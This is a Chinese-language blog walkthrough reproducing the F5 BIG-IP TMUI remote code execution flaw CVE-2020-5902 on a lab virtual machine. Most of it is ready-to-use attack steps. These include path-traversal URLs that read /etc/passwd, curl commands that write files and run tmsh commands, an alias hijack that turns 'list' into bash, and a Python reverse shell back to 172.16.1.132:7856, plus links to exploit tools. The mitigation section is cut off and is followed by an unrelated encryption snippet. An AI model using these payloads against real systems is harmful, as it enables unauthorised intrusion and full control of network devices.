这篇文章给大家介绍怎么实现F5 BIG-IP远程代码执行漏洞CVE-2020-5902的复现，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。F5 BIG-IP 是美国“F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网免费云主机域名关、负载均衡等功能的应用交付平台。 在F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞，导致可以未授权访问TMUI模块所有功能（包括未公开功能），漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。攻击者可利用该漏洞执行任意系统命令、创建或删除文件、禁用服务、执行任意的Java代码,可获取shell完全控制目标系统。F5 BIG‐IP 15.1.0F5 BIG‐IP 15.0.0F5 BIG‐IP 14.1.0‐14.1.2F5 BIG‐IP 13.1.0‐13.1.3F5 BIG‐IP 12.1.0‐12.1.5F5 BIG‐IP 11.6.1‐11.6.51.在F5官网注册登录下载试用即可。https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition2.然后随便选择一个下载地区，下载即可3.下载完成后，使用VMware导入安装VMware左上角‘文件’->‘打开‘选择下载好的文件4.配置方面看自己的选择导入后启动即可系统默认账户：root/default登陆后需要修改默认密码5.输入config，配置配置ip地址，点两次回车键即可6.设置完IP后访问一下链接出现登录页面安装成功 //注要https加IPhttps://172.16.1.186/tmui/login.jsp1.登录管理页面既是漏洞存在的地方，我们使用poc进行测试文件读取：https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts2.写入文件curl -k -H “Content-Type: application/x-www-form-urlencoded” -X POST -d “fileName=/tmp/success&content=东塔网络安全学院” “https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp”3.读取文件curl -k “https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success”4.修改alias劫持list命令为bashcurl -k “https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash”4.1 写入文件：bash文件https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id4.2 执行bash文件https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test注：因为权限不足无法完成此步操作，在实际环境中可以尝试5.反弹shell，写入python反弹shellhttps://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/shell&content=python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘172.16.1.132’,7856));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);”使用kali做监听执行以下命令反弹shell //没有权限这里没有反弹成功，可在实际环境中测试6.利用工具https://github.com/theLSA/f5-bigip-rce-cve-2020-5902https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-59021、官方建议可以通过以下步骤暂时缓解影响（临时修复方案）1.1使用以下命令登录对应系统：tmsh1.2编辑 httpd 组件的配置文件；edit /sys httpd all-properties1.3文件内容如下 include ‘
这篇文章将为大家详细讲解有关常见的数据加密方式有哪些，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。对称加密非对称加密单向加密对称加密的加密和解密是使用同一个密钥；加密和解密的速度比较快，效率比较高;但是密钥传输过程不安全，容…
免责声明：本站发布的图片视频文字，以转载和分享为主，文章观点不代表本站立场，本站不承担相关法律责任；如果涉及侵权请联系邮箱：360163164@qq.com举报，并提供相关证据，经查实将立刻删除涉嫌侵权内容。
微信扫一扫 
